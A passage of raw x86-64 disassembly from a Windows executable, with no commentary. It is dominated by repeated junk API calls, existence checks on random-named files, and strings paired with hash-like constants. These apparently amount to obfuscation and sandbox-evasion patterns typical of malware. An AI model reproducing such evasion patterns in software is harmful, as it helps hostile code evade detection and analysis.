mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012ef8
lea rax, [rbp + 0x13c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x13d0]
lea r8, [rbp + 0x13d8]
lea rdx, [rbp + 0x13e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
mov ebx, 0x80
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.yfPkHn.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x140012f34
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0x13e8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140012f5c
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rbp + 0x13f0]
lea r8, [rbp + 0x13f8]
lea rdx, [rbp + 0x1400]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.vKU3SEXJq.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x140012fb5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x3370]
call fcn.140059690
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140013015
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1410]
lea r8, [rbp + 0x1418]
lea rdx, [rbp + 0x1420]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140013064
lea rax, [rbp + 0x1428]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1430]
lea r8, [rbp + 0x1438]
lea rdx, [rbp + 0x1440]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1448]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea r9, [rbp + 0x1450]
lea r8, [rbp + 0x1458]
lea rdx, [rbp + 0x1460]
lea rbx, [0x14005dfa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea r9, [rbp + 0x1468]
lea r8, [rbp + 0x1470]
lea rdx, [rbp + 0x1478]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov edx, 8
lea rcx, [rbp + 0x1480]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400130dc
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov edx, 8
lea rcx, [rbp + 0x1488]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140013104
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov r8b, 2
lea rdx, [rbp + 0x350]
mov rcx, qword [r12]
call fcn.14000c57c
nop
lea rdx, [rbp + 0x3d4]
mov rcx, qword [rax]
call fcn.14000c874
nop
lea rcx, [rbp + 0x350]
call fcn.140001380
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
lea rcx, [rbp + 0x390]
call fcn.1400195f8
nop
lea r9, [rbp + 0x1490]
lea r8, [rbp + 0x1498]
lea rdx, [rbp + 0x14a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x3770]
call fcn.140059690
lea rcx, [rbp + 0x14a8]
call qword [sym.imp.USER32.dll_GetCursorPos]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400131d6
lea rax, [rbp + 0x14b0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x14b8]
lea r8, [rbp + 0x14c0]
lea rdx, [rbp + 0x14c8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x14d0]
lea r8, [rbp + 0x14d8]
lea rdx, [rbp + 0x14e0]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140013247
lea rax, [rbp + 0x14e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x14f0]
lea r8, [rbp + 0x14f8]
lea rdx, [rbp + 0x1500]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x10
mov dword [rbp + 0x3cc], ebx
lea rdx, [rbp + 0x3cc]
lea rcx, [rbp + 0x18b0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x3b70]
call fcn.140059690
mov dword [rbp + 0x3d0], ebx
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x18d0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f8], xmm0
mov qword [rbp + 0x608], r15
mov qword [rbp + 0x610], r15
lea r8d, [rbx - 6]
lea rdx, str.GjfNQIsmwd
lea rcx, [rbp + 0x5f8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x5f8]
cmp qword [rbp + 0x610], 0xf
cmova rdx, qword [rbp + 0x5f8]
mov r8, qword [rbp + 0x608]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x2a3e0ce1
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x5f8]
call fcn.140005e28
lea r9, [rbp + 0x1508]
lea r8, [rbp + 0x1510]
lea rdx, [rbp + 0x1518]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x3f70]
call fcn.140059690
lea edx, [rbx - 8]
lea rcx, [rbp + 0x1520]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140013366
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rbp + 0x15b0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x4370]
call fcn.140059690
xorps xmm0, xmm0
movups xmmword [rbp + 0xb58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb68], xmm1
mov r8, r14
lea rdx, [0x14005e29c]
lea rcx, [rbp + 0xb58]
call fcn.14000192c
lea rdx, [rbp + 0xb58]
cmp qword [rbp + 0xb70], 0xf
cmova rdx, qword [rbp + 0xb58]
mov r8d, 0x2157dbb3
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xb58]
call fcn.140005e28
mov edx, 8
lea rcx, [rbp + 0x1528]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x14001340c
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140013446
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
mov dl, 0x22
mov rcx, rbx
call fcn.14000b560
jmp 0x140013449
mov rax, r15
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14001349b
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
mov r9d, r14d
lea r8, [0x14005e214]
mov dl, r14b
mov rcx, rbx
call fcn.14000b67c
jmp 0x14001349e
mov rax, r15
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x1400134f2
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
mov r9d, 4
lea r8, [rbp + 0x3d4]
mov dl, 2
mov rcx, rbx
call fcn.14000b67c
jmp 0x1400134f5
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000d340
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x90], xmm0
mov rax, qword [rbp - 0x18]
test rax, rax
je 0x14001351b
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp - 0x80]
call fcn.14000bc24
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xa0], xmm0
mov rax, qword [rbp + 0x28]
test rax, rax
je 0x140013550
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp - 0x80]
call fcn.14000bc24
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov ebx, 3
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, [0x14005e2a0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x1400135a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x15c0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rbp + 0x3d8], 0x10
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x18f0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.0DLHdM.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x14001360a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.s3Ydst.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x140013641
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x3f4], 0x10
lea rdx, [rbp + 0x3f4]
lea rcx, [rbp + 0x1910]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.SA0vC.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x140013696
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x4770]
call fcn.140059690
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x1530]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400136d1
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb88], xmm1
mov r8d, 9
lea rdx, str.tDEGlGEUE
lea rcx, [rbp + 0xb78]
call fcn.14000192c
lea rdx, [rbp + 0xb78]
cmp qword [rbp + 0xb90], 0xf
cmova rdx, qword [rbp + 0xb78]
mov r8d, 0xbf9bc84
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xb78]
call fcn.140005e28
lea r9, [rbp + 0x1538]
lea r8, [rbp + 0x1540]
lea rdx, [rbp + 0x1548]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov edx, ebx
lea rcx, [rbp + 0x1550]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x14001377b
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xba8], xmm1
mov r8d, 9
lea rdx, str.JB2sa7bD2
lea rcx, [rbp + 0xb98]
call fcn.14000192c
lea rdx, [rbp + 0xb98]
cmp qword [rbp + 0xbb0], 0xf
cmova rdx, qword [rbp + 0xb98]
mov r8d, 0x584a21c
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xb98]
call fcn.140005e28
lea rcx, [rbp + 0x1558]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movups xmmword [rbp + 0x618], xmm0
mov qword [rbp + 0x628], r15
mov qword [rbp + 0x630], r15
mov r8d, 6
lea rdx, str.axmhHq
lea rcx, [rbp + 0x618]
call fcn.14000192c
nop
lea rdx, [rbp + 0x618]
cmp qword [rbp + 0x630], 0xf
cmova rdx, qword [rbp + 0x618]
mov r8, qword [rbp + 0x628]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x28de4fb9
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x618]
call fcn.140005e28
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.iH2zoWLqyJ.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x1400138a4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.jd9r.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x1400138df
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x390]
test rcx, rcx
je 0x14001416e
lea rdx, [rbp + 0x450]
call fcn.140007fc4
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x638], xmm0
mov qword [rbp + 0x648], r15
mov qword [rbp + 0x650], r15
mov r8, rbx
lea rdx, str.f5yvxp7i
lea rcx, [rbp + 0x638]
call fcn.14000192c
nop
lea rdx, [rbp + 0x638]
cmp qword [rbp + 0x650], 0xf
cmova rdx, qword [rbp + 0x638]
mov r8, qword [rbp + 0x648]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x667693a
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x638]
call fcn.140005e28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400139c8
lea rax, [rbp + 0x1560]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1568]
lea r8, [rbp + 0x1570]
lea rdx, [rbp + 0x1578]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x658], xmm0
mov qword [rbp + 0x668], r15
mov qword [rbp + 0x670], r15
mov r8d, 6
lea rdx, str.NUjx7a
lea rcx, [rbp + 0x658]
call fcn.14000192c
nop
lea rdx, [rbp + 0x658]
cmp qword [rbp + 0x670], 0xf
cmova rdx, qword [rbp + 0x658]
mov r8, qword [rbp + 0x668]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x1eeb96e
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x658]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x678], xmm0
mov qword [rbp + 0x688], r15
mov qword [rbp + 0x690], r15
mov ebx, 5
mov r8d, ebx
lea rdx, str.LyQZm
lea rcx, [rbp + 0x678]
call fcn.14000192c
nop
lea rdx, [rbp + 0x678]
cmp qword [rbp + 0x690], 0xf
cmova rdx, qword [rbp + 0x678]
mov r8, qword [rbp + 0x688]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x3b4d30fc
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x678]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0xbb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbc8], xmm1
mov r8d, ebx
lea rdx, str.mbDs1
lea rcx, [rbp + 0xbb8]
call fcn.14000192c
lea rdx, [rbp + 0xbb8]
cmp qword [rbp + 0xbd0], 0xf
cmova rdx, qword [rbp + 0xbb8]
mov r8d, 0x19366bb2
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xbb8]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0xbd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbe8], xmm1
lea r8d, [rbx + 1]
lea rdx, str.wEmNpC
lea rcx, [rbp + 0xbd8]
call fcn.14000192c
lea rdx, [rbp + 0xbd8]
cmp qword [rbp + 0xbf0], 0xf
cmova rdx, qword [rbp + 0xbd8]
mov r8d, 0x2026828f
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xbd8]
call fcn.140005e28
mov dword [rbp + 0x3dc], 0x10
lea rdx, [rbp + 0x3dc]
lea rcx, [rbp + 0x1930]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [rbx + 3]
lea rcx, [rbp + 0xc78]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140013bcb
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140013c1a
lea rax, [rbp + 0xc80]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc88]
lea r8, [rbp + 0xc90]
lea rdx, [rbp + 0xc98]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0xca0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140013c42
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov qword [rsp + 0x30], r15
mov ebx, 0x80
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.FyaMB4E.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140013c7f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x698], xmm0
mov qword [rbp + 0x6a8], r15
mov qword [rbp + 0x6b0], r15
mov r8d, 9
lea rdx, str.PJS0bTLcb
lea rcx, [rbp + 0x698]
call fcn.14000192c
nop
lea rdx, [rbp + 0x698]
cmp qword [rbp + 0x6b0], 0xf
cmova rdx, qword [rbp + 0x698]
mov r8, qword [rbp + 0x6a8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x2fb4d596
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x698]
call fcn.140005e28
mov edx, 8
lea rcx, [rbp + 0xca8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140013d25
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b8], xmm0
mov qword [rbp + 0x6c8], r15
mov qword [rbp + 0x6d0], r15
mov r8d, 9
lea rdx, str.yQxfrbr96
lea rcx, [rbp + 0x6b8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x6b8]
cmp qword [rbp + 0x6d0], 0xf
cmova rdx, qword [rbp + 0x6b8]
mov r8, qword [rbp + 0x6c8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x23e5544b
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x6b8]
call fcn.140005e28
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.88RvT5jO.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140013ddb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140013e2a
lea rax, [rbp + 0xcb0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xcb8]
lea r8, [rbp + 0xcc0]
lea rdx, [rbp + 0xcc8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xcd0]
call qword [sym.imp.USER32.dll_GetCursorPos]
cmp byte [0x140078ed0], r15b
je 0x1400140a7
xorps xmm0, xmm0
movups xmmword [rbp + 0x440], xmm0
lea rdx, [rbp + 0x440]
lea rcx, [0x140078ed0]
call fcn.14002993c
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov edi, 0x88
mov ecx, edi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140013e9b
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov dl, 0x13
mov rcx, rbx
call fcn.14000b560
jmp 0x140013e9e
mov rax, r15
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.14000d340
nop
mov rcx, rdi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140013ee4
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov r9d, r14d
lea r8, [0x14005e144]
mov dl, r14b
mov rcx, rbx
call fcn.14000b67c
jmp 0x140013ee7
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.14000d340
mov rdx, rax
mov rbx, qword [rbp - 0x60]
mov rcx, rbx
call fcn.14000bc24
mov rcx, rdi
call fcn.140034bc0
mov rdi, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140013f6c
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
mov rax, qword [rbp + 0x448]
test rax, rax
je 0x140013f4a
lock add dword [rax + 8], r14d
mov rbx, qword [rbp - 0x60]
movaps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0xb0], xmm0
lea r8, [rbp + 0xb0]
mov dl, 4
mov rcx, rdi
call fcn.14000b958
jmp 0x140013f6f
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x238]
call fcn.14000d340
mov rdx, rax
mov rcx, rbx
call fcn.14000bc24
mov ecx, 0x88
call fcn.140034bc0
mov rdi, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140014042
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x160], xmm0
mov rax, qword [rbp + 0x448]
test rax, rax
je 0x140013fd4
lock add dword [rax + 8], r14d
mov rbx, qword [rbp - 0x60]
movaps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
mov rax, qword [rbp + 0x398]
test rax, rax
je 0x140014003
lock add dword [rax + 8], r14d
mov rbx, qword [rbp - 0x60]
movaps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0xc0], xmm0
lea r9, [rbp + 0x160]
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x258]
lea rcx, [0x140078ed0]
call fcn.14002935c
mov r8, rax
mov dl, 0x10
mov rcx, rdi
call fcn.14000b958
jmp 0x140014045
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.14000d340
mov rdx, rax
mov rcx, rbx
call fcn.14000bc24
lea rdx, [rbp + 0x278]
mov rcx, rbx
call fcn.14000bfec
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.14000e8ac
lea rcx, [rbp + 0x278]
call fcn.140001380
nop
lea rcx, [rbp - 0x60]
call fcn.140001380
nop
lea rcx, [rbp + 0x440]
call fcn.140001380
mov rdi, qword [rbp + 0x388]
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140014113
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xd0], xmm0
mov rax, qword [rbp + 0x398]
test rax, rax
je 0x1400140f1
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0xd0], xmm0
lea r8, [rbp + 0xd0]
mov dl, 4
mov rcx, rbx
call fcn.14000b958
jmp 0x140014116
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14000d340
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xe0], xmm0
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x14001413c
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
mov rcx, qword [rbp - 0x80]
call fcn.14000bc24
mov rcx, rsi
call fcn.140034bfc
nop
lea rcx, [rbp + 0x40]
call fcn.140001380
or rsi, 0xffffffffffffffff
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xf0], xmm0
mov rax, qword [rbp - 0x78]
test rax, rax
je 0x140014187
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
mov rcx, qword [rdi + 8]
call fcn.14002d078
nop
lea rcx, [rbp + 0x20]
call fcn.140001380
nop
lea rcx, [rbp - 0x20]
call fcn.140001380
nop
lea rcx, [rbp - 0x80]
call fcn.140001380
nop
lea rcx, [rbp + 0x390]
call fcn.140001380
lea rcx, [rbp + 0xcd8]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rbp + 0xce0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov edx, 8
lea rcx, [rbp + 0xce8]
